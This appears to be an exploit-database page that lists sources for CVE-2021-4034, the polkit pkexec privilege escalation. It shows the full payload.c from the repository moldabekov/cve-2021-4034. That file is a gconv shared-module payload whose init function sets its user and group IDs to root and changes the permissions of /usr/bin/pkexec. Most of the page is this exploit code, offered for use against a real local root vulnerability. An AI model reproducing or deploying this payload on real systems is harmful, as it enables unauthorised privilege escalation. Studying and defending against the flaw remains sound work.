Exploit databaseDownload repository ZIP
GH-b2097c19e362e55a929f0998f6b9e294
moldabekov/cve-2021-4034
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
moldabekov/cve-2021-4034Revision e0dab262b0ff
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
payload.c
C · 290 bytes#include <stdlib.h>
void gconv() {}
void gconv_init() {
char mode[] = "0755";
//char pkexec[] = "/home/moldabekov/bin";
char pkexec[] = "/usr/bin/pkexec";
setuid(0);
setgid(0);
int bit = strtol(mode, 0, 8);
if (chmod(pkexec, bit) < 0) {
exit(1);
}
}